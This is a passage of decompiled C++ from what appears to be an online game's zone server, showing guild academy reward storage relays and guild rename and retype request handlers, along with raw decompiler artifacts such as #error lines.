funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ring; v4 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( v2, ring->gldregnum, (unsigned __int16 *)&ring); if ( v4 ) GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther(v4, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"); } //----- (0044E370) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_ItemInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *v2; // edi@1 PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *v3; // esi@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ring; if ( ring ) { v4 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( v2, ring->nGldregnum, (unsigned __int16 *)&ring); if ( v4 ) GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_ItemInfoZoneRngAtOther(v4, v3); } else { AssertClass::ac_AssertFail( &shineassert, "GuildAcademyRewardStorageManager::garsm_ItemInfoZoneRngAtOther - ring null", (int)ring); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"); } //----- (0044E440) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_RewardInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring) { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *v2; // edi@1 PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *v3; // esi@1 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v4; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ring; if ( ring ) { v4 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( v2, ring->nGuildNo, (unsigned __int16 *)&ring); if ( v4 ) GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_RewardInfoZoneRngAtOther(v4, v3); } else { AssertClass::ac_AssertFail(&shineassert, "::garsm_RewardInfoZoneRngAtOther - ring null", (int)ring); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther"); } //----- (0044E510) -------------------------------------------------------- #error "44E510: undefined or illegal type '#331' (funcsize=152)" //----- (0044E710) -------------------------------------------------------- #error "44E710: undefined or illegal type '#331' (funcsize=152)" //----- (0044E910) -------------------------------------------------------- #error "44E910: undefined or illegal type '#331' (funcsize=350)" //----- (0044EE00) -------------------------------------------------------- #error "44EE00: undefined or illegal type '#331' (funcsize=208)" //----- (0044F0B0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::operator_(v3, (int)ele); return 1; } // 44F0C5: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0044F0E0) -------------------------------------------------------- int __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::operator_(int this, int a2) { int result; // eax@1 int v3; // edx@1 signed int v4; // ebp@1 const void *v5; // esi@2 void *v6; // edi@2 result = this; v3 = this + 4; v4 = 72; do { v5 = (const void *)(a2 - this + v3); v6 = (void *)v3; v3 += 116; --v4; memcpy(v6, v5, 0x74u); } while ( v4 ); *(_DWORD *)(this + 8360) = *(_DWORD *)(a2 + 8360); *(_DWORD *)(this + 8364) = *(_DWORD *)(a2 + 8364); *(_DWORD *)(this + 8368) = *(_DWORD *)(a2 + 8368); *(_BYTE *)(this + 8372) = *(_BYTE *)(a2 + 8372); return result; } //----- (0044F150) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::operator_(v3, (int)ele); return 1; } // 44F166: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0044F180) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (0044F1D0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (0044F220) -------------------------------------------------------- #error "44F220: undefined or illegal type 'ListArray' (funcsize=105)" //----- (0044F380) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { unsigned __int8 v2; // al@1 const void *v3; // esi@1 int v4; // ecx@4 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG tempring; // [sp+8h] [bp-44h]@4 unsigned int v6; // [sp+3Ch] [bp-10h]@5 int v7; // [sp+48h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = LOBYTE(netcmd[1].protocol); v3 = &netcmd[1]; v7 = 0; if ( v2 < 0xAu && *(_BYTE *)v3 != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { v4 = (int)(gpp.pp_Buffer + 2); *(_WORD *)gpp.pp_Buffer = -26510; PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG::operator_(v4, (int)v3); ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 51); memcpy(&tempring, v3, 0x30u); BYTE7(tempring.storage_cen) = LOBYTE(netcmd[25].protocol); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_WithdrawAtOther( &gldacademyrewardstoramanager, &tempring); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member( &gldacademyrewardstoramanager, &tempring); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG"); } else { --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG"); } __security_check_cookie(v6); } //----- (0044F4B0) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { unsigned __int8 v2; // al@1 const void *v3; // esi@1 int v4; // ecx@4 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG tempring; // [sp+8h] [bp-44h]@4 unsigned int v6; // [sp+3Ch] [bp-10h]@5 int v7; // [sp+48h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = LOBYTE(netcmd[1].protocol); v3 = &netcmd[1]; v7 = 0; if ( v2 < 0xAu && *(_BYTE *)v3 != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { v4 = (int)(gpp.pp_Buffer + 2); *(_WORD *)gpp.pp_Buffer = -26508; PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG::operator_(v4, (int)v3); ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 51); memcpy(&tempring, v3, 0x30u); BYTE7(tempring.storage_cen) = LOBYTE(netcmd[25].protocol); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_DepositAtOther( &gldacademyrewardstoramanager, &tempring); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member( &gldacademyrewardstoramanager, &tempring); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"); } else { --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"); } __security_check_cookie(v6); } //----- (0044F5E0) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { int v2; // esi@1 int v3; // ecx@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (int)&netcmd[1]; if ( LOBYTE(netcmd[1].protocol) < 0xAu && *(_BYTE *)v2 != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { v3 = (int)(gpp.pp_Buffer + 2); *(_WORD *)gpp.pp_Buffer = -26494; PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG::operator_(v3, v2); ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 174); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_ItemInfoZoneRngAtOther( &gldacademyrewardstoramanager, (PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *)v2); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendItemInfoZoneRng2Member( &gldacademyrewardstoramanager, (PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *)v2); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"); } //----- (0044F6D0) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *v2; // esi@1 signed int v3; // edi@1 char *v4; // eax@4 int v5; // eax@4 int v6; // edx@5 int v7; // ecx@5 int v8; // edx@7 char *v9; // [sp-4h] [bp-24h]@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *)&netcmd[1]; v3 = 0; if ( LOBYTE(netcmd[1].protocol) < 0xAu && v2->Start.machine != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26493; v5 = (int)(v4 + 2); *(_DWORD *)v5 = *(_DWORD *)&v2->Start.machine; *(_WORD *)(v5 + 4) = netcmd[3].protocol; *(_BYTE *)(v5 + 6) = LOBYTE(netcmd[4].protocol); *(_DWORD *)(v5 + 7) = *(_DWORD *)((char *)&netcmd[4].protocol + 1); *(_DWORD *)(v5 + 11) = *(_DWORD *)((char *)&netcmd[6].protocol + 1); *(_DWORD *)(v5 + 15) = *(_DWORD *)((char *)&netcmd[8].protocol + 1); *(_DWORD *)(v5 + 19) = *(_DWORD *)((char *)&netcmd[10].protocol + 1); *(_DWORD *)(v5 + 23) = *(_DWORD *)((char *)&netcmd[12].protocol + 1); *(_DWORD *)(v5 + 27) = *(_DWORD *)((char *)&netcmd[14].protocol + 1); *(_DWORD *)(v5 + 31) = *(_DWORD *)((char *)&netcmd[16].protocol + 1); *(_DWORD *)(v5 + 35) = *(_DWORD *)((char *)&netcmd[18].protocol + 1); *(_DWORD *)(v5 + 39) = *(_DWORD *)((char *)&netcmd[20].protocol + 1); *(_BYTE *)(v5 + 43) = HIBYTE(netcmd[22].protocol); if ( HIBYTE(netcmd[22].protocol) ) { v6 = (int)((char *)v2 - v5); v7 = v5 + 44; while ( 1 ) { v8 = v7 + v6; *(_DWORD *)v7 = *(_DWORD *)v8; *(_DWORD *)(v7 + 4) = *(_DWORD *)(v8 + 4); *(_BYTE *)(v7 + 8) = *(_BYTE *)(v8 + 8); ++v3; v7 += 9; if ( v3 >= SHIBYTE(netcmd[22].protocol) ) break; v6 = (int)((char *)v2 - v5); } } ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 9 * *(_BYTE *)(v5 + 43) + 46); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_RewardInfoZoneRngAtOther( &gldacademyrewardstoramanager, v2); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendRewardInfoZoneRng2Member( &gldacademyrewardstoramanager, v2); v9 = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"; } else { v9 = "ZoneListenSession::zls_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); } //----- (0044F850) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { this->mq_Pointer.mask = 127; this->mq_Pointer.value = 0; } //----- (0044F870) -------------------------------------------------------- unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueGuildReType *content) { unsigned int v3; // eax@1 v3 = this->mq_Pointer.mask & (this->mq_Pointer.value + 1); this->mq_Pointer.value = v3; this->mq_Buffer[v3].handle = hnd; this->mq_Buffer[this->mq_Pointer.value].content.nType = content->nType; return LOWORD(this->mq_Pointer.value); } //----- (0044F8B0) -------------------------------------------------------- void __thiscall MemoryQueueElement::MemoryQueueElement(MemoryQueueElement *this) { PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed(&this->content); } //----- (0044F8C0) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ(int a1, int a2, int netcmd, int len, int handle) { int v5; // esi@1 int v6; // eax@5 const char *v7; // ST08_4@8 signed int v8; // eax@8 ItemInventoryCell *v9; // edi@14 SpecialItemIdent *v10; // ebp@14 unsigned int v11; // eax@18 unsigned __int16 v12; // ax@20 ItemDataBox::ItemDataBoxIndex *v13; // eax@20 int v14; // eax@22 char *v15; // edi@26 char v16; // al@26 ZoneBaseSession *v17; // eax@27 signed int v18; // [sp-4h] [bp-24h]@15 signed int v19; // [sp+0h] [bp-20h]@4 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v21; // [sp+1Ch] [bp-4h]@1 v5 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v21 = 0; if ( !(_S10_6 & 1) ) { _S10_6 |= 1u; cmc_38.cmc_AllowMode = 86; atexit(_E11_9); } if ( !((1 << **(_BYTE **)(v5 + 3716)) & cmc_38.cmc_AllowMode) ) { v19 = 6721; LABEL_30: (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 173, v19); goto LABEL_31; } v6 = *(_DWORD *)(v5 + 98); if ( !v6 || !*(_BYTE *)(*(_DWORD *)(v6 + 12) + 158) ) { v19 = 6722; goto LABEL_30; } if ( !(*(_BYTE *)(v5 + 69436) & 0xC) ) { v7 = (const char *)*(_BYTE *)(netcmd + 2); v8 = (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)(v5 + 35568) + 8))( v5 + 35568, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ : wrong slot"); if ( AssertClass::operator__(&shineassert, *(_BYTE *)(netcmd + 2) < v8, v7, a2) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 173); LABEL_10: v21 = -1; LABEL_11: FunctionEntarance::_FunctionEntarance(&_); return; } if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)(v5 + 57768) + 4))( v5 + 57768, 9, *(_BYTE *)(netcmd + 2), *(_WORD *)(v5 + 92142)) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 173); goto LABEL_10; } v9 = (ItemInventoryCell *)(**(int (__thiscall ***)(_DWORD))(v5 + 35568))(v5 + 35568); v10 = ItemDataBox::idb_SpecialItems(&itemdatabox); if ( v10->sii_GuildReName == ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v9) ) { v11 = ItemInventoryCell::iic_ItemLot(v9); if ( !AssertClass::operator__( &shineassert, (signed int)v11 > 0, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ : Try to use lot 0 item", 0) ) { v12 = ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v9); v13 = ItemDataBox::operator__(&itemdatabox, v12); v14 = v13 && v13->data; if ( AssertClass::operator__( &shineassert, v14, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ : Try to equip empty cell", 0) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 173, 6725); v21 = -1; goto LABEL_11; } v15 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29871; *((_WORD *)v15 + 1) = *(_WORD *)(v5 + 4); *((_DWORD *)v15 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(v5); Name4::operator_((int)(v15 + 9), netcmd + 3); v15[8] = *(_BYTE *)(netcmd + 2); v16 = ProtocolPacket::pp_SetPacketLen(&gpp, 25); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v16, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ : Packet Too Long", 25) ) { v17 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v17); v21 = -1; goto LABEL_11; } goto LABEL_17; } v18 = 6725; } else { v18 = 6723; } (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 173, v18); LABEL_17: v21 = -1; goto LABEL_11; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 173, 6721); LABEL_31: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RENAME_REQ"); } // 44F8C0: could not find valid save-restore pair for ebx //----- (0044FBF0) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ(int a1, int a2, int netcmd, int len, int handle) { int v5; // esi@1 int v6; // eax@5 const char *v7; // ST08_4@8 signed int v8; // eax@8 ItemInventoryCell *v9; // edi@14 SpecialItemIdent *v10; // ebp@14 unsigned int v11; // eax@18 unsigned __int16 v12; // ax@20 ItemDataBox::ItemDataBoxIndex *v13; // eax@20 int v14; // eax@22 char *v15; // edi@26 char v16; // al@26 ZoneBaseSession *v17; // eax@27 signed int v18; // [sp-4h] [bp-24h]@15 signed int v19; // [sp+0h] [bp-20h]@4 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v21; // [sp+1Ch] [bp-4h]@1 v5 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v21 = 0; if ( !(_S12_21 & 1) ) { _S12_21 |= 1u; cmc_39.cmc_AllowMode = 86; atexit(_E13_16); } if ( !((1 << **(_BYTE **)(v5 + 3716)) & cmc_39.cmc_AllowMode) ) { v19 = 6745; LABEL_30: (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 181, v19); goto LABEL_31; } v6 = *(_DWORD *)(v5 + 98); if ( !v6 || !*(_BYTE *)(*(_DWORD *)(v6 + 12) + 158) ) { v19 = 6746; goto LABEL_30; } if ( !(*(_BYTE *)(v5 + 69436) & 0xC) ) { v7 = (const char *)*(_BYTE *)(netcmd + 2); v8 = (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)(v5 + 35568) + 8))( v5 + 35568, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ : wrong slot"); if ( AssertClass::operator__(&shineassert, *(_BYTE *)(netcmd + 2) < v8, v7, a2) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 181); LABEL_10: v21 = -1; LABEL_11: FunctionEntarance::_FunctionEntarance(&_); return; } if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)(v5 + 57768) + 4))( v5 + 57768, 9, *(_BYTE *)(netcmd + 2), *(_WORD *)(v5 + 92142)) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 181); goto LABEL_10; } v9 = (ItemInventoryCell *)(**(int (__thiscall ***)(_DWORD))(v5 + 35568))(v5 + 35568); v10 = ItemDataBox::idb_SpecialItems(&itemdatabox); if ( v10->sii_GuildReType == ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v9) ) { v11 = ItemInventoryCell::iic_ItemLot(v9); if ( !AssertClass::operator__( &shineassert, (signed int)v11 > 0, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ : Try to use lot 0 item", 0) ) { v12 = ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v9); v13 = ItemDataBox::operator__(&itemdatabox, v12); v14 = v13 && v13->data; if ( AssertClass::operator__( &shineassert, v14, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ : Try to equip empty cell", 0) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 181, 6749); v21 = -1; goto LABEL_11; } v15 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29879; *((_WORD *)v15 + 1) = *(_WORD *)(v5 + 4); *((_DWORD *)v15 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(v5); v15[9] = *(_BYTE *)(netcmd + 3); v15[8] = *(_BYTE *)(netcmd + 2); v16 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v16, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ : Packet Too Long", 10) ) { v17 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v17); v21 = -1; goto LABEL_11; } goto LABEL_17; } v18 = 6749; } else { v18 = 6747; } (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 181, v18); LABEL_17: v21 = -1; goto LABEL_11; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v5 + 776))(v5, 29, 181, 6745); LABEL_31: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_RETYPE_REQ"); } // 44FBF0: could not find valid save-restore pair for ebx //----- (0044FF20) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_GuildReName(char nItemSlot, __int128 sGuildName) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_GuildReName"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_GuildReName"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_GuildReName"); } //----- (0044FF70) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_GuildReType(char nItemSlot, char nType) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_GuildReType"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_GuildReType"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_GuildReType"); } //----- (0044FFC0) -------------------------------------------------------- #error "44FFC0: undefined or illegal type '#440' (funcsize=203)" //----- (004502A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildReNameItemUseSuccess(void *this) { void *v1; // esi@1 